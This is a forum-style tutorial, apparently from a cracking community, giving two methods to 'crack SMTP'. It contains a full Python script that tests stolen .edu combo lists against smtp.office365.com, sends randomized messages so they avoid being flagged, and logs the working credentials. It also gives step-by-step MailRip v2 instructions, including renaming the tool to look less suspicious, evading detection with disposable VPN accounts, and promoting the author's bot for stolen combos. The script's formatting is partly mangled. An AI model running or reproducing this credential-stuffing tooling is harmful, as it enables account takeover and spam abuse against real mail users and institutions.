2 WAYS FOR CRACKING SMTP FOR FREE
Hi everyone! Today we are gonna see 2 ways to crack smtp for free with python tools. Lets beggin:
monkayes SHOW YOUR LOVE, LEAVE A LIKE Clown 3
Method 1: office365 with .edu combo (smtp-cracker.py)
This is a modification of a tool i found on a cracked ftp. Ive modified it to generate a random message (from a list) so it does not get flagged.
Quote:
Use Tunnelbear with a fresh made account (using temp-mail.org) it will give you 2gb more thab enough for 1 run. Can create as many as wanted.
Run the script.
On SMTP host put: smtp.office365.com
On Port: 587
TLS/SSL: y
You email for Rzlts: (put here your email for results)
Use a .edu combolist user:pass (like the ones you can get on my bot)
When it finish, check your email to see emails that inboxed.
Script (smtp-cracker.py):
Code:
**import smtplib
import threading
import datetime
import time
import os
import sys
import random
import socket
import ctypes
from colorama import Fore, Style, init
init(autoreset=True)
fr = Fore.RED
gr = Fore.BLUE
fc = Fore.CYAN
fw = Fore.WHITE
fy = Fore.YELLOW
fg = Fore.GREEN
sd = Style.DIM
sn = Style.NORMAL
sb = Style.BRIGHT
live = 0
die = 0
try:
os.mkdir(‘Master-Log’)
except FileExistsError:
pass
def logo():
clear = ‘\x1b[0m’
colors = [36, 32, 34, 35, 31, 37]
x = '''
| || _ _ |
| || _____ || |
| |__ | |___ | | | |||
| _____ __| | | | __ |
| _ | __| | | | | | | |
|| |||| |_____| || |__| ||
'''
for N, line in enumerate(x.split(‘\n’)):
sys.stdout.write(‘\x1b[1;%dm%s%s\n’ % (random.choice(colors), line, clear))
time.sleep(0.05)
def key_logo():
clear = ‘\x1b[0m’
colors = [36, 32, 34, 35, 31, 37]
x = '''
.–.
/.-. '———-.
‘-’ .–“–”“-”-'
‘–’
'''
for N, line in enumerate(x.split(‘\n’)):
sys.stdout.write(‘\x1b[1;%dm%s%s\n’ % (random.choice(colors), line, clear))
time.sleep(0.05)
def cr():
try:
if os.name == ‘nt’:
os.system(‘cls’)
else:
os.system(‘clear’)
except Exception:
pass
names = [
“Alice”, “Bob”, “Charlie”, “David”, “Emma”, “Frank”, “Grace”, “Hannah”, “Ian”, “Julia”,
“Kevin”, “Linda”, “Michael”, “Nancy”, “Oliver”, “Pamela”, “Quincy”, “Rachel”, “Samuel”, “Tina”
]
subjects = [
“Hello”, “Meeting Tomorrow”, “Quick Question”, “Feedback Request”, “Project Update”,
“Follow-up”, “Ideas for Discussion”, “Thank You”, “Proposal”, “Invitation”,
“Weekly Report”, “Request for Information”, “Urgent: Action Required”, “Status Update”,
“Suggestion”, “Introduction”, “Reminder”, “Appreciation”, “Thoughts on Today’s Meeting”, “Just Checking In”
]
messages = [
“Hope you’re doing well. Let’s catch up soon!”,
“Looking forward to your feedback on the proposal.”,
“Attached is the document you requested.”,
“Can we schedule a meeting for tomorrow?”,
“Thanks for your prompt response.”,
“Here are the details for the upcoming event.”,
“Please find the attached report for your review.”,
“Let me know if you have any questions.”,
“Your opinion matters to us. Please share your thoughts.”,
“I appreciate your help on this matter.”,
“Looking forward to hearing from you soon.”,
“Wishing you a great day ahead!”,
“Just checking in on the status of the project.”,
“Let’s discuss the next steps during our meeting.”,
“Could you please confirm your availability?”,
“I’m excited to share the latest updates with you.”,
“Please let me know if there’s anything else you need.”,
“Sending you warm regards.”,
“Your input is invaluable. Thank you!”,
“Looking forward to our continued collaboration.”
]
def generate_random_email():
name = random.choice(names)
subject = random.choice(subjects)
message = random.choice(messages)
return f"{name.lower().replace(‘ ’, ‘’)}{random.randint(100, 999)}@example.com"
def checker_ssl(user, passw):
global die, live
while True:
if os.name == ‘nt’:
ctypes.windll.kernel32.SetConsoleTitleW(‘U{}L{}D{}’.format(totalnum, live, die))
else:
sys.stdout.write(‘\x1b]2;U{}L{}D{}\x07’.format(totalnum, live, die))
try:
email = generate_random_email()
mailserver = smtplib.SMTP(host, port)
mailserver.ehlo()
mailserver.starttls()
mailserver.login(user, passw)
subj = random.choice(subjects)
date = datetime.datetime.now().strftime('%d/%m/%Y %H:%M')
froma = user
from_addr = froma
to_addr = str(email)
message_text = '{}\n{}:{} Host{}{}'.format(message, user, passw, host, port, date)
msg = 'From: %s\nTo: %s\nSubject: %s\nDate: %s\n\n%s' % (from_addr, to_addr, subj, date, message_text)
mailserver.sendmail(from_addr, to_addr, msg)
mailserver.quit()
print(' {}[+] Live{} ==> {}:{}'.format(fg, sb, user, passw))
f = open('Master-Log/Live-{}.txt'.format(host), 'a')
f.write('LIVE => %s:%s\n' % (user, passw))
live += 1
except Exception as e:
f = open('Master-Log/Die-{}.txt'.format(host), 'a')
f.write('Die => %s:%s\n' % (user, passw))
die += 1
break
def checker_(user, passw):
global die, live
while True:
if os.name == ‘nt’:
ctypes.windll.kernel32.SetConsoleTitleW(‘U{}L{}D{}’.format(totalnum, live, die))
else:
sys.stdout.write(‘\x1b]2;U{}L{}D{}}\x07’.format(totalnum, live, die))
try:
email = generate_random_email()
mailserver = smtplib.SMTP(host, port)
mailserver.ehlo()
mailserver.login(user, passw)
subj = random.choice(subjects)
date = datetime.datetime.now().strftime('%d/%m/%Y %H:%M')
froma = user
from_addr = froma
to_addr = str(email)
message_text = '{}\n{}:{} Host{}{}'.format(message, user, passw, host, port, date)
msg = 'From: %s\nTo: %s\nSubject: %s\nDate: %s\n\n%s' % (from_addr, to_addr, subj, date, message_text)
mailserver.sendmail(from_addr, to_addr, msg)
mailserver.quit()
print(' {}[+] Live{} ==> {}:{}'.format(fg, sb, user, passw))
f = open('Master-Log/Live-{}.txt'.format(host), 'a')
f.write('LIVE => %s:%s\n' % (user, passw))
live += 1
except Exception as e:
f = open('Master-Log/Die-{}.txt'.format(host), 'a')
f.write('Die => %s:%s\n' % (user, passw))
die += 1
break
def thread():
global email, host, passw, port, totalnum, user
x = ‘\n\t\t\t\x1b[1;36m \x1b[0;m \x1b[1;41m SMTP KING ! Modded By @Me !\x1b[0;m \x1b[1;36m \x1b[0;m’
xx = ‘\t\t\t\x1b[1;36m \x1b[0;m \x1b[1;41m This tool use custom own host of smtp target like hosted : smtp.office365.com\x1b[0;m \x1b[1;36m \x1b[0;m’
xxx = ‘\t\t\t\x1b[1;36m \x1b[0;m \x1b[1;41m combolist will target which office365 you hosted \x1b[0;m \x1b[1;36m \x1b[0;m’
print(x)
print(xx)
print(xxx)
host = input('{}{}\n\t\t[ ! ] Give Me The Smtp Host ! : '.format(fy, sb))
port = input('{}{}\n\t\t[ ! ] Give Me The Smtp Port ! : '.format(fy, sb))
ssl = input('{}{}\n\t\t[ ! ] Do U want Use SSL/TLS Or nun y/n ! : '.format(fy, sb))
email = input('{}{}\n\t\t[ ! ] Your Email For Rezlt ! : '.format(fw, sb))
print('\n\t\t\t{}{}[ ! ] Give Me Combo List ! : '.format(fw, sb), end='')
txt = input()
with open(txt, 'r', errors='ignore') as file:
lista = file.read().split('\n')
totalnum = len(lista)
print('\n\t\t{}{}[ ! ] Threads Number ! : '.format(fw, sb), end='')
threadnum = int(input())
print('{}{}\n\t===============[Start Check for ({}:{})]==============='.format(fy, sb, host, port))
threads = []
if ssl == 'n':
for i in lista:
try:
user = i.split(':')[0]
passw = i.split(':')[1]
except:
continue
thread = threading.Thread(target=checker_, args=(user.strip(), passw.strip()))
threads.append(thread)
thread.start()
if len(threads) == threadnum:
for i in threads:
i.join()
threads = []
continue
time.sleep(15)
else:
for i in lista:
try:
user = i.split(':')[0]
passw = i.split(':')[1]
except:
continue
thread = threading.Thread(target=checker_ssl, args=(user.strip(), passw.strip()))
threads.append(thread)
thread.start()
if len(threads) == threadnum:
for i in threads:
i.join()
threads = []
continue
time.sleep(15)
def start():
cr()
key_logo()
cr()
logo()
thread()
start()**
Method 2: MailRip v2
This method use MailRip v2 and a regular combo mail:pass
Quote:
Download MailRip v2
Modify lines 650 and 651 on MailRipV2.py, Change MailRipV2 and MailRip and use Hello instead. (cause its fucking sus lol)
install requirements with: pip3 install -r requirements.txt
Use Tunnelbear with a fresh made account (using temp-mail.org) it will give you 2gb more thab enough for 1 run. Can create as many as wanted.
Run script
Press Enter, then 1 (for option 1)
Send test email? (yes / no): yes
Enter amount of threads to use: 20
Enter value for timeout: 3
Use blacklist for email domains: (yes / no) yes
Enter YOUR email for delivery test: (your email)
Enter
2 (for option 2)
put your combo email:pass and then enter. it will blacklist all gmail,outlook,etc (You can get great combos with our bot)
Then again in my menu use 4 to start the attack
When finish check your email for results.